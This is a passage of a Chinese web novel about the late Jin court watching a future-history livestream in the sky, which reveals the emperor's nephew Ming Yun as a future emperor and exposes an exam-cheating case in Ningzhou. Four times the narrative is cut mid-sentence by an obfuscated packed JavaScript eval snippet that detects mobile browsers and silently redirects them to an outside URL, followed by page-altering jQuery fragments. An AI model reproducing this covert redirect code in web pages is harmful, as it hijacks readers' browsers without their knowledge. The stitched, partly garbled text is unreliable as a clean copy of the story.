众人这回才是真的哗啦啦跪了一片,太子跪在前面,面色惶恐,眼神却很平静。左右他也只有早逝这一项可以诟病,但他怎么死的还不知道呢,皇帝也不好往他身上撒火。 其他皇子可就惨了,一个个都是嫌疑人,此刻不管心里怎么想的,全都诚惶诚恐地低着头。 慌乱中,有不知道是谁嘀咕了一句:“哇,皇兄们可真厉害。” 皇帝:“……” “真是丢人丢到天下皆知了!”皇帝深吸一口气,大声训斥。 他原还想着无法阻止天幕也就罢了,后人丢脸又跟他没关系。毕竟天幕上那人虽提及了朝堂大乱,可追捧文帝的谄媚样子更为明显,也好叫天下百姓知道晋朝以后还是有好皇帝在的,再让探子宣扬几句有天幕现世、圣上必定会防止后人祸乱,如此一来想要稳住民心还不简单吗? 可现在好了,全天下都知道他明呈治的儿子差一点就把这天掀翻了! “儿臣知错。”皇子们识相地请罪。 皇帝听着这一群人默契的请罪声,感觉额角突突直跳,只好扶着脑袋坐了回去。 听听那都是什么话,左一个家家服孝,右一个地方割据,不知道的还以为打仗呢……不对,小历说边疆确实是在打仗。 皇帝想到这,怒气又压不住了。 他转头叫人去把内阁大臣都叫来宫内协商事宜,毕竟刚刚小历这些话说出口简单,带来的麻烦事却很多。吩咐完,见众人还在地上跪着,皇帝随意挥了挥手,让其他人起身。 现在跪也没用了,还是先听听天幕说什么吧。 等到小历说出是哪个小崽子做的混账事,他再行惩处也不迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408514|200612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “陛下息怒,如此大动肝火对身体有碍啊。” 明昀捋捋衣袍站了起来,非常诚恳地希望皇帝能保重身体——太子实在死太早了,即使目前看来他身无疾病,可古代技术查不出来的、突发急症的,更别说还有可能被兄弟害死的,无法预见的可能性太多了。 于情于理,现在明昀还是很希望于皇帝和太子都多活几年的。 皇帝见他如此,略感安慰,怒火消下去了一部分,可心里却又觉得颓丧起来了。 太子一死,也不知道明昀怎么度过的文帝登基前那混乱的三年……唉!都怪他这群不孝子,闹出来这样的事,要是明昀有个好歹,他怎么对得起楚王呢?他九弟这么多年只有这一个孩子,又被他和九弟两家养了这么多年,如何能受那样的委屈。 “还是你最懂事啊。”皇帝接了明昀奉上的茶水,如此感慨道。 【“当然了,”小历说完三皇之乱的惨状,又忽然话锋一转,“也有些研究者认为,永兴帝的逝世标志着晋文帝个人终于登上了政治舞台。”】 皇帝端茶的手一顿,目光划过几个年长、已经入朝做事的皇子。 看来不是这几个了。 他看向几个小的,琢磨着这几个从前的性格,心想怎么小时候看不出有那样好的资质? 【“这种说法普遍认为,在永兴帝逝世前,晋文帝即使参与了宁德末年的斗争、甚至解决过几个大事件,但终究是在长辈庇护下、作为一个协助者参与朝堂斗争,他做出的成绩被视为太子稳固地位的砝码。” 小历嘿嘿一笑,苍蝇搓手:“很多史同作品中也爱吃这一口,皇帝死前是金枝玉叶无忧无虑的小世子,皇帝死后接过重担继承遗志、造就了海晏河清的盛世却成为了最孤独的孤家寡人……” “咳咳,小历我收集资料的时候也刷到了不少好吃的同人饭,之后有机会再和大家分享哈。” “这种说法的意思也很明白,不论是宁德还是永兴期间,晋文帝在朝堂上所代表的一直都是太子明昇,是太子的支持者。直到太子也就是永兴帝死去,晋文帝失去了庇护他的伯父、堂兄,就连爹娘也远赴边关,他才不得不独自面对斗得你死我活的朝堂,为了不被清算而被迫站上这无硝烟的战场。” 】 明昀:“……” 这走向不对吧? 【“也许有小伙伴不理解,晋文帝再怎么说也是皇室子孙,还要担心被清算吗?” “要的,很有必要的呀观众朋友们。”小历摇摇头说着,“正是因为晋文帝提前预料到了可能遭受到的下场,最后才会有晋文帝的诞生啊。” “至于原因,也还是要从宁德年间说起,我们还需要回到正题——宁德十四年,将来会成为千古一帝的晋文帝明昀出生于楚王府中。”】 明昀早在同人文说完时就十分识相地跪回去了。 还得是他娘有先见之明啊。 明昀心底有种淡淡的崩溃,却还能不着边际地胡思乱想、在心底自己给自己讲冷笑话。 这厚衣服跪起来就是不疼哎。 5. 世子 廊下一时间安静了好一会儿。 不管是皇子公主还是侍卫太监,此时全都瞳孔地震,相顾无言。 原本沉溺在抑郁中的太子完全懵住了,茫然地盯着明昀看。 谁?谁是晋文帝? 京城各处,原本私底下支持其他皇子的大臣还在担心自己被天幕暴露、遭到皇帝降罪,此时一个个瞠目结舌,不明白为什么是所有人从未考虑过的人选当了皇帝。 正常来讲,就算是那什么的三皇之乱再如何激烈,到底也只在京城范围内流血,那最后也该是某个有朝臣支持的皇子将前面的皇帝赶下去、然后手段尽出稳定朝堂啊!怎么会是明昀呢! 另一批不掺和储位争斗的保守派也懵了,他们原还在忧心忡忡地为之后可能会有的局势变化,惊闻此言也大感诧异。 楚王之子?怎会是他呢!……一个有那样外貌的人,他怎么就当上了!总不能是皇子都死光了吧! 皇帝也懵了。 他手里握着明昀给他倒的茶,眼睁睁看着明昀跪下,然后他的九弟楚王和弟媳也跟着跪下。 明昀没有出声请罪。 他虽跪着,神情却格外平静,目光与皇帝的视线对上,坦然自若。 哎,你看这事儿闹的。 明昀在心底独自崩溃完,转瞬间已经整理好了心绪。又不由得自嘲道:他的退休计划还没开始就已经破产了。 难道这是什么穿越者必定触发的剧情线吗?明昀在此前从没想过自己这个宗室子还能当皇帝呢。 毕竟有句话说得好啊——责任越大,那责任就越大。 当皇帝肩负天下,有什么好的?睡得比狗晚起得比鸡早,殚精竭虑地操心这个操心那个,上一件事还没处理完就有下一件事等着干,整日焦头烂额。上辈子他也操劳过十几年,能躺平他当然更想躺平啊。 可明昀同样也清楚,按照小历描述中那混乱的样子,他被赶鸭子上架也不是没有可能。 即使他不清楚自己怎么会选择即位,可他上辈子加这辈子几十年的耳渲目染让他知道,只要他做就必然会尽力做好。 更何况,小历都说他是“力挽狂澜”了。 他身正不怕影子斜,一点儿都不会心虚。 身后,诸位皇子眼神复杂地看向明昀,没想到一群人争来抢去最后是这个堂弟得了位置,还留下个千古美名,有文帝世祖这样好的谥号庙号…… 一群人心思各异,只有最心直口快的那个冒出来一句。 “这……不愧是堂弟你啊!竟如此出类拔萃!” 大皇子此言一出,终于打破了廊下这片地方沉重的气氛。 明昀莞尔,侧过身又一拱手,对大皇子道:“谢殿下谬赞了。” 皇帝却很沉默,一句话未说,只一味地摩挲手里的茶杯。 太子见状干脆也跪到了明昀旁边。 他虽然也没想到昀弟会登基……可那个时候他都死了!到底是相处十几年的感情,他直言道: “父皇恕罪,如神迹中所说,昀弟力挽狂澜、行不可能之事,也是竭尽所能为救我大晋啊。” 太子一时摸不准皇帝这沉默是为了什么,只好先以其功游说皇帝。 难道皇帝在意明昀宗室上位的身份吗?可自古以来并非没有这样的先例啊,只是多是皇帝无子才不得不传位兄弟罢了。 “哼,”众皇子中忽的传出一声冷哼,太子转头去看,就见五皇子仰着头,颇为不忿似的说道:“冠冕堂皇,谁知道他是不是早有不臣之心、才趁此时机顺势而为的?” 他像是认为皇帝的沉默是对明昀不满,就差指着明昀的鼻子说他谋反篡位了。 太子皱眉:“你!” 他早知道这个五弟平日里就不喜欢明昀,可在如今这情况下挤兑他,还是令太子倍感恼火。 ……他父皇有一句话说的没错,明昀比他其他弟弟省心多了! “哎,五弟此言差矣啊。”四皇子也忽的开口说道,脸上笑意盈盈,好像真心为明昀说话一般。 “堂弟自小与太子相伴,品行端正,与我等皇子都没什么两样,怎会有大逆不道的想法呢?” 太子瞪了一眼四皇子。 这话说的还不如不说! 皇帝轻咳一声,刚要开始打嘴仗的几个人顿时闭嘴低头。 他瞥了眼那几个不省心的儿子,又转头看向明昀,问道: “你有何话说?” 明昀轻笑。 “臣无愧于心也。” 头顶上的博主还在兢兢业业讲述。 【“晋文帝出生时就患有天生的白化病,史料记载,当时产房众人‘皆惊惧’,甚至有很多人因此觉得是上天要借此惩罚楚王,顺带也攻击一下皇帝。” 小历一脸恨铁不成钢的表情道:“我们现代人都知道,白化病只不过是缺少黑色素的遗传病,可古代总有人动不动就是天罚啊精怪的,利用别人生病去诋毁别人,真是太坏了!” “不过文帝登基后,原先受到诟病的地方就风评忽变,再也没有人认为他白发如瀑是天罚,反而认为明昀是‘谪仙人’,也就是天上来的神仙,他不忍世人受苦才登基为帝、造福百姓。” “完全体现了什么叫待我功成名就自有大儒为我辩经,也是怪讽刺的。” “咳,言归正传。”小历假咳两下,挽回自己走偏的话题。 “我们前面讲过,宁德帝是夺嫡上位的,楚王就是他最忠实的拥趸,两个人是真的兄弟情深。即使楚王有了这样一个孩子,皇帝也没有任何偏见,甚至爱屋及乌,把孩子的未来都考虑好了,接到东宫和太子一起养。” 小历又道:“这一口在同人界也是顶顶好吃的……明昀的人生前二十年简直是每个人的终极梦想,长辈疼爱、有钱有闲,想干什么干什么,简直爽死了好吗?”】 明昀漫不经心地想,确实超级爽,不然他为什么想要把这种生活延续下去呢? 可惜,没有天幕的那个自己没过上那样一辈子悠闲的好日子,见过天幕的这个自己大概也无法拥有了。 他瞥了一眼还在担忧皇帝生气的太子,又垂下眼帘。 【“而明昀小时候这段时间确实没什么可说的,完全是个无忧无虑的小孩,唯一值得说道的一点也就是——他是个特别讨喜的小孩!”】 天下想要听八卦的人顿时失落了。 明昀:“……” 旁边皇帝却没觉得有什么不对。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408515|200612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在天幕夸他和楚王兄弟情深的时候就不由自主地缓和了表情,颇有一种“你真有眼光”的自得感。 听到后面说明昀讨喜的时候,表情一顿,接着又放松下来,目露赞同之色。 “莫要跪着了,这大冷的天,要是着凉了你父王可要骂我了。” 皇帝走到明昀身前,亲手将他拉了起来。 文帝,世祖。 皇帝在心中感慨:他的侄儿已经做得非常好了,有此大才,谁又能说出不对来呢。 那边太子闻言,也跟着放松下来。 楚王夫妇自然也一同起身。 楚王妃原本还忐忑不安,唯恐皇帝不由分说便要罚她儿。毕竟从前皇帝不喜宗室干政的态度十分分明……听见皇帝这句话一出,王妃的悬着的心终于放下了。 不同于楚王妃,楚王非常了解皇帝,即使跟着明昀一起跪了,心底却是并不担心,不然他早在太子之前就该出言求情了。 此时站起身来,便对皇帝道:“多谢皇兄心疼昀儿——不过皇兄心疼就算了,怎的还要冤枉我呢。” 如楚王所想,皇帝并非是为明昀宗室上位而感到不喜。 他伸手拽起明昀,与楚王打趣了几句,“只怕你心疼更甚吧。” 眼见着周围气氛缓和了许多,视线一转,皇帝看见明昀只用玉簪简单束起的白发,发丝如雪,比白玉的颜色还要纯粹上几分。不禁想起这十几年,是他和楚王两家精细养着,明昀才能健健康康长到现在的。 文帝,世祖。 他在心底暗叹一声。 【“为什么说他讨喜呢?”小历道,“养过孩子的观众朋友们可能都会懂吧!你要是有一个乖巧可爱、说话好听又亲近你,甚至长大一点还能帮你分担工作的好孩子,你也会喜欢的!” 说着说着,小历跟着点头。 “宁德二十九年,在东宫生活了十几年的明昀才搬回了楚王府,宁德三十年就开始跟着太子办事,能力出众,皇帝一看,大为欣喜!哎~!你怎么知道我亲爱的侄子是个天才?” “这件事在历史上也挺有名的,是宁德三十年震惊朝野的一次大案。” 】 皇帝刚安稳下去的心又跳起来了。 大案?震惊朝野? 明昀眼疾手快地又续了杯茶,道:“皇伯父,莫生气,莫生气。” 皇帝无言以对,他已经没力气生气了。 他以前也不是脾气暴躁的性格,可今天得知的坏消息实在太多了。 【“这案子就被皇帝交给明昀去办了。” 小历不知道从哪儿拿出个扇子,装模作样地在胸前扇风装帅。 “有同学又有新问题了,小历小历,这个时候晋文帝才十六岁吧?皇帝怎么会把这么大的案子交给他办呢?” “同学问得不错!” 小历猛地将扇面合上,当作个指挥棒一样指向屏幕正前方。 “因为这个案子起初并不是什么惊天大案,甚至算不上非常麻烦,只是宁德帝交给明昀练练手、熟悉流程的小事罢了。” “是明昀自己在细微之处察觉到了不对,好奇之下就仔细研究了一番,牵出萝卜带出泥——一个不小心,就发现了个大秘密!”】 6. 谜案 明昀闻言倒有些好奇了。 大秘密,这得是多大的事情? 宁德年来,称得上震惊朝野的事情可不多啊……能当得起这样的形容词,恐怕朝野之上又是一阵血雨腥风。 明昀都有点佩服起一年后的自己了。 【小历摇着扇子,脸上露出了一幅看好戏的模样,继续说道。 “宁德三十年,十六岁的明昀窝在楚王府里,既不用像从前一样跟着皇子们去上学,也不用入朝任职去上班,顿时觉得这生活太无聊了,跟亲爹和皇帝打报告,想要出京游学。” “宁德帝听闻此事,当即下旨——令楚王世子明昀行走六部。说白了意思就是——我的侄儿啊,没事干是吧?那就你去看看人家怎么干活的吧!顺便自个儿也学一学,说不定哪天就需要你干活了呢?”】 明昀沉默一霎。 他想旅游怎么了?上辈子匆匆忙忙地没见过多少好山好水,这辈子眼看着自己无所事事、甚至环境还没有工业污染,他想出去玩玩儿怎么了! 前段时间,他还听人说了有位年轻学子写了首游嵩山的诗,脍炙人口,大受好评,引得他也想去嵩山看看呢。 ——结果还没说要去,就已经知道被拒绝的结局了! 明昀无声破防。 【“就这样,明昀被皇帝一纸令下扔进了六部,年纪轻轻的晋文帝也是过上管培生轮转各部门的好日子了。” “不过说归说,宁德帝和楚王也没真指望明昀做多少活儿,毕竟这位小时候体弱是真的体弱来着,让他去六部学习也只是确实年龄到了可以入朝、以及不想放他自己出门罢了。” 小历说着说着一挥手,转场特效再次出现,紧接着一篇残旧破碎的书页的照片出现在屏幕一侧。 “这件事还被记载在了晋史中呢。”】 “昀儿想出京?” 楚王妃有些惊讶地看向自家孩子,先前明昀从未提过这茬,以至于连楚王妃都不清楚这回事。 明昀也不好说是上辈子没能旅游留下的遗憾,偏头幽怨地瞥了眼皇帝楚王,见他们只顾着抬头看天,只好答道: “呃,儿见了一位学子在外游学所写的诗文,十分生动,也想去看看名山胜景……” 明昀回看向楚王妃,“娘是不想让我去吗?” 楚王妃见他真想外出,顿时摇摆起来。 “你若喜欢,去也无妨……只是让我放心不下罢了,若去可要把东西带好,太医也得带上!” “我也想去,堂兄,我们可以一起去。” 坐在众皇子堆里的九皇子却忽的开口,真诚地说道。 “我与堂兄相伴,想必婶婶也能放心。” 九皇子时年十三岁,是皇帝最小的儿子,也是太子同母的胞弟。在东宫住时,明昀与九皇子年龄相近,时常一起上学,彼此也很熟悉。 明昀闻言,眨眨眼,笑:“那感情好,有机会的话一定和九殿下同去。” 就是不知道还有没有机会了。 明昀忧愁地心想。 当皇帝就不能随心所欲旅游了……不当皇帝,谁又放心让他出去呢? 【随着那一页纸的展现,天上那方形却忽然泛起涟漪一般的纹路,接着忽的左右延长,而后在左侧三七处一分为二,小的那一面依旧是小历,大的那一面却突然出现了画面。】 天下人为之惊奇。 太子睁大眼看着新出现的半边屏幕,那里面正是他自己,因着时间点距离现在只有不到一年,连模样都几乎没有变化。 “果然是神仙手段……” 皇帝也怔住了,被这样的离奇手段狠狠震撼,不由得喃喃低语,“这……后世之人竟能见到此时之景吗?” 明昀面露茫然,连大皇子在旁边大惊小怪地叫唤也不嫌吵了。 这视频网站……不对吧?直接真人重现,这已经不是视频网站的能力范围了吧! 现代世界在他不知道的时候偷偷进化了吗? 【小历说道:“皇帝听闻明昀想要出京,还特地召见了楚王问询,两个人一通商量之后就决定给孩子找点事儿干。” “明昀人在家里坐,忽然收到工作通知,那是非常之郁闷。” 随着小历的话说完,天幕中记录者史书片段的纸张消失不见。另一面里的‘太子’也仿佛被取消了视频暂停键一般,瞬间灵动起来。 ‘太子’一边笑说着话,一边领着身后的人进了衙门。 “怎地闷闷不乐的?不让你去也是怕你山高水远的、再受了苦。” 一位白发少年跟着他,闻言淡淡道:“不去就不去,也不至于让我来这儿吧?哪有十六岁就要入朝做事的?平常人这个年纪还未考完科举呢,我宁愿回去读书。”】 “呀!当真是好像个谪仙人!” 天下百姓仰头看着天幕里会动的人物,瞧见里头白发白睫、皮肤也白得格外不同的人,惊呼出声。 也有人恐惧于这奇异的颜色,可诋毁的话还没说完,就被旁边的人挤兑了回去。 “说的什么话!这可是好皇帝呢。” 百姓有时候听不明白什么乱事,什么大案,但是有的话却是很明白的。这个皇帝能让他们存下粮食,让他们看得了病,可不是谪仙人么? 【“用不着你亲自做。”‘太子’说道,“只先看看而已,再说了,我这不是来陪你了吗?” ‘明昀’看着不怎么乐意,可到底没有说什么,跟着太子进了里间,与本部的官员聊上几句,再去看看往年卷宗。 只不过‘太子’到底是储君,平日里也是个大忙人,陪不了‘明昀’多久便匆匆离去了,‘明昀’干脆也让随行官员去做事,自己一个人找了个角落里看卷宗。】 “这是礼部?” 皇帝扫视着那天幕里的场景,只简单看了一圈便认出来了是哪个地方哪间屋舍。 楚王点点头:“确是礼部。” 恰在此时,紧赶慢赶的几位内阁大臣终于到了宫内,站在几米远的地方悄悄抹了把额头上的热汗,这才齐齐向皇帝行礼。 巧的是,礼部尚书也在其中。 他刚喘匀了气,一抬头看见天天都要去点卯、眼熟到不能再眼熟的场景,回想起这神迹这会儿是在讲什么,眼神不由得逐渐呆滞。 尚书的天都塌了。 他都七十岁了……眼看着就能安安稳稳致仕了,怎么偏要在他管理下闹出事来?怎么兢兢业业一辈子,反倒是临到退休的时候了又被下属牵连? 他不要被治个失职之罪啊! 【角落里,‘明昀’慢条斯理地走过一个个放置卷宗的木架,时不时随机抽出来几个翻阅翻阅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408516|200612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些都是礼部历年来的工作事宜的存档,他将各个部分都了解过,也算是履行了皇帝旨意了吧? 看着看着,‘明昀’已经走到了最靠内的几排架子,仔细一看,这些书架的上上下下都是许多保存好的……试卷? 似是在这里放了很久,即使这地方按规定定时打扫,也能看得出来积累了许多灰尘。只有最底下那层靠角落的部分,瞧着干净些。 他仔细一想,便想起自建朝之时太祖便下令,各地乡试与会试的答卷都要送入京中保存,想必这些就是了。 今年正值一届春闱,会试殿试结束后,那些答卷也已经存入其中。 也许是出于好奇,‘明昀’将挑着干净的册子拖了出来,打开翻看。】 礼部尚书眼睛眨也不眨地盯着那视频中明昀的动作,脑子里还在头脑风暴般的试图回想——那地方到底放的什么? 他想了半天后终于不情不愿地回忆起那些是科举答卷,顿觉眼前一黑。 这下是真完了! 四皇子也在盯着视频。 明昀注意到这点,特意瞥了眼四皇子专注的神态,就见他目不转睛,眉头微蹙——但转念一想,便有些了然。 四皇子的舅父正时任礼部郎中,是担心其舅家被牵连吗? 明昀心底疑虑一过,很难不去怀疑是四皇子手底下出了事。可这么多年来,太子和在朝做事的诸皇子彼此相争,对手到底有几斤几两彼此之间很是清楚。 四皇子难道还有插手科举的胆量吗? 【他左右四处张望,没看见有人过来这边,干脆也就席地而坐,顺着名次开始看今年的会试试卷。 旁边停顿许久的小历视频忽然播放,活泼又幸灾乐祸的声音再度传来。 “明昀去六部轮转的第一个部门就是礼部,本意只是简单了解了解流程、再看看往年真题消遣时间。可谁能想到呢?就是这平平无奇的会试试卷中,藏了一颗大雷。”】 一石激起千层浪。 还在礼部中任职的官员面面相觑,坐立不安,有几个心智不坚的已经站起身来去寻上官,试图问出个招来看看要先怎么办。 可惜的是一群人还没商讨出个办法,皇帝派来的人便已经到了。 【视频中,席地而坐的‘明昀’低头翻看了许久,却在阅览前半部分某一份时慢下动作,似乎将这一篇文章看了许久。 “嗯?” ‘明昀’轻咦一声,不太确定地将试卷拿远,又挪回眼前,仔细审视。】 “会试可有不妥?” 皇帝忽然问道。 这短短的几息之间,皇帝已经将有关科举的事情反复想了一遍,就怕是科举舞弊——若是连会试都能舞弊!那他的礼部是干什么吃的! 若是会试都能舞弊到“震惊朝野的地步”!那他的礼部也不用留了! 礼部尚书浑身一颤,跪倒在地。 “陛下……这,这、明年的会试还未开始,微臣不知啊……” 皇帝:“……你瞧你,不过都是朕自言自语罢了。” 随即又让人搬了凳子给各位大臣坐。 【‘明昀’最后似乎终于确认了什么,拿着卷子站起身,去外头叫住了一个小吏。 “你可知会试第十名林琼在殿试中了几名?现在何处?”】 7. 舞弊 “林琼?” 皇帝想了想,对这名字没有任何印象,想来应当不是京城中的高官家的子弟。 他点头赞许,“会试十名,倒也不错了。” “既然是明年的进士,想必此时已经考完了乡试。” 楚王适时接了话。 各府乡试安排在八月,正是要入秋的时候,故而称之为秋闱。此时已经是冬季,雪都下了,恐怕各地乡试的成绩早就已经公布了。 “不知各府乡试中举者的名录可已经送来了?” 楚王说着,偏头看向战战兢兢的礼部尚书。 老尚书闻言,当即站起身、拱手回道:“楚王殿下所说不错,各府的乡试卷已有十之八九送了过来,只有几个距离实在偏远的州府还未送到。” “就是不知此人是哪里人士啊。” 皇帝听了楚王和尚书的话,嘴上这样说着,行动上还是毫不迟疑,一挥手就让人去礼部通知,叫那些被围了的礼部官员都别闲着,去翻翻已经送来的乡试卷子,找找这位名为林琼的学生。 若是是今年才中的举人,卷子里找找也就知道是谁了。若是往届的那就更好找了,早已录名在册——顶多是礼部的人工作量大一些嘛。 天上,小历再一次开口解说。 【“被明昀随手翻出来的这颗正在等待爆炸的大雷,正是林琼的会试试卷。” “林琼,字为璋,宁德三十年的进士。他在三皇之乱期间为明昀提供了很多助力,不过这一部分我们也放在后面三皇之乱的时候一起讲。 而他有三皇之乱这份基础,在晋文帝登基后的天和一朝也很受重用,在地方上政绩斐然,没有错漏,调入京后不到十年就官至吏部尚书,很得文帝赏识。” “这案子就是林琼与晋文帝相遇的起点……也是林琼为救命之恩以身相许的开始!”】 明昀:“……?” 他听完这话就冒出来了满脑子的问号,张口欲言,情急之下却被口水呛住了喉咙,激得他一阵猛咳。 不是?你这博主怎么还造谣啊——! 好在,在他被众人“拷问”之前,天幕声音未停。 【“咳咳、小历我开个玩笑哈。”博主全然不在乎明昀死活似的、开朗大笑道。 “林琼在天和朝兢兢业业,堪称胸腔里长满了事业心,干到了七八十岁才退休致仕,不知道的还以为晋文帝压榨员工呢。” “救命之恩,就为恩人工作一辈子来报答!这怎么不算一种以身相许呢?” 天幕上,原本分出来的真实画面分屏慢慢暗淡下去,只能模糊看到那小吏说了什么后、明昀挥挥手离开礼部衙门,向着某个方向而去。 随后人影消失,转变为了一片空白。 小历道:“说回刚才——明昀看了卷子之后约见林琼,两个人终究说了什么,我们没有人知道。” “这件事并没有被记录下来——毕竟当时的明昀只是个颇受宠爱的世子嘛,人家史官也不会闲的没事跟着一个世子,走到哪记到哪。” “就连前面翻卷子那段,还是明昀禀告宁德帝的时候提及的。”】 五皇子又忽然冷哼一声。 明昀瞥了他一眼,不知道这人又抽什么风,没有理会。 五皇子其人性情高傲,从前在皇宫里就很看不上明昀,看不起他的白发,也看不起他以宗室之身久住东宫,以至于天幕一说到他的名字就第一个指责他谋反。 可惜皇帝不觉得他是谋反,这些人有反对意见也得先憋着,现在只敢哼哼几声了。 哼就哼吧。 明昀心想,伤害性不大,侮辱性也没多少,哼来哼去像只小猪似的。 【“但就是这样一张卷子,一场没有被任何史料记载下来的谈话,掀开了直到宁德三十年才终于爆发的、宁州舞弊案的一角。” 小历话锋一转,忽的将这起渲染了好一段话的案件摆在了台面上。】 皇帝沉默。 他都五十多岁了,精力早已不似从前。又或者是早已猜到可能是科举出了岔子,心里早有准备,再听见舞弊这些字眼就已经波澜不惊了。 “唉。”他只叹了一声,便立刻恢复了往日处理政务的沉着,下令让刑部先去看住今年派往宁州的乡试主考官。 虽然不一定就是这人,但有嫌疑先看住总没错了,天幕这话赶话的说,总会把真相暴露出来。 至于宁州的地方官…… 皇帝沉思片刻,叫了另外的人去。 此时,天幕下,宁州。 林琼站在友人家的窗口边,仰头盯着那神迹里讲述着的人,一时间万分怅然。 一步之遥的身后,仰躺在榻上的瘦削男人顽强地支起上半身,拖着一双站不起来又缠满绷带的腿,一个劲儿地要探头去看天上。 “为璋,你听见了吗!是真的!” 他苍白病态的脸上现出了一抹红晕,原本因郁郁多日而混浊的双眼里亮起了格外执拗的光。 “不是我学业不好,不是我才华不够,不是我屡试不中啊!” 那天上又道。 【“这件事说来也是非常令人唏嘘的。宁州地区本地势力盘根错节、地方宗族与地方官员关系复杂,堪称一片混乱,没在朝廷中被发现纯属是这群人自知理亏才交易得格外低调。” 小历道:“说到这里,大家就要奇怪了——林琼在会试试卷里终究写了什么?难道阅卷考官批卷的时候就没看到吗?”】 众人也好奇这一点。 先前天幕播放‘明昀’翻找会试卷的时候,一个个提心吊胆的大气都不敢喘,生怕是会试出了岔子,到时候皇帝盛怒之下谁也跑不掉。可现在说问题其实出在宁州乡试,众人松了口气的同时也不由得感到奇怪。 莫非是将诉状写在上面了?可会试阅卷要经过多少人的手啊!怎么会没有一点风声呢? 【“他们还真没有看到。”小历这话一出,把所有人都说懵了。 “如果有同学好奇,可以去京城博物馆参观一下,林琼的这篇会试卷与明昀呈给宁德帝的奏折都在博物馆里常驻展览,小历我之前去的时候可是提前看了攻略、现场把眼睛都瞪干了才看出来不对劲,真是不得不佩服明昀体察入微的能力。” 小历说着,又有一张照片被摆了出来,其上所拍摄的内容正是博物馆里的展台,透明玻璃后放着一张试卷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408517|200612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上面是台阁体所撰写的内容。 照片提前经过了处理,字迹清晰,用红色的线条将右上到左下角、中间十几个分布错落的字圈出又连接起来,提醒观众这就是有问题的部分。 被圈起来的字迹与其他字几乎没有任何不同,只在小历的提醒下,众人才发现那几个字中,都有一个笔画写得格外细些。 将其连起来,便是‘臣告宁州乡试舞弊’。】 所有人都无语了。 就连明昀自己都忍不住扶额,想不明白一年后的自己到底是有多不想上班,才会如此细致地去浏览一篇经义。 宁州城中,被林琼扶着坐起来的学子精神已好了许多,看了那试卷,不禁大笑起来。 “为璋,这事儿做的可真有你的风格!” 林琼无奈摇头,脸上却也不自觉带上笑意。 “笑什么,咱们可要先逃命去了。” 这宁州地界他是待不下去了,京城的人来不了那么快,他却不敢赌宁州这些人会不会与他鱼死网破。 去哪呢? 林琼仰头看了一眼天幕,回想起那位令人物理意义上眼前一亮的小主君,稍作思考就已决定。 去京城吧。 【“咱也不得不说哈,林琼文采确实好,能把这几个字巧妙地用在整篇文章里却不显突兀。”小历感叹道,撤掉了屏幕上的照片继续讲道。 “那同学们又有新的问题产生了,林琼既然要告,为什么不直接告到京城衙门去呢?甚至他既然考上了进士,殿试时为什么不直接跟皇帝告呢?是害怕自毁前程吗?” “其实并不。”小历说着,“他之所以不直接上告,是因为实际上,林琼根本不知道宁州乡试有没有人舞弊、他不是苦主,更没有证据。” “林琼是宁州土生土长的本地人,虽然家境不显,但自小天赋异禀,才名远扬。不过很多人不知道的是,林琼有一个至交好友,学识也挺不错,可乡试考了三四次都没考上。” “宁德二十九年,乡试再次落榜后,此人郁郁而终,死前对林琼说,他认为宁州乡试舞弊。”】 明昀沉默片刻。 经历过高考的人最看不得这个——就算换作朝廷的角度去权衡,科举舞弊官官勾结,损害的也都是皇帝的利益啊! 更何况,一场舞弊案能被称之为“震惊朝野”,其中牵连者得有多少? 他思绪一转,拱手对皇帝说道:“陛下,臣请清查宁州官员、各届主考与礼部官员。” 他被四皇子冷冷瞪了一眼。 与此同时,天幕上。 【“其实这位朋友的怀疑很没有道理,他的主张只有一点个人推测可以作为佐证。可恰好,这人乡试落榜后又因意外摔断了腿,要是换个人来,大概就会认为他已经疯了吧。” “但出于对朋友的信任,林琼终究还是在心底留下了怀疑的种子。这颗种子在会试中发芽,促使他在会试卷上留下那样一句控诉。” “而更加幸运的是,有人看到了这份怀疑与不甘。” 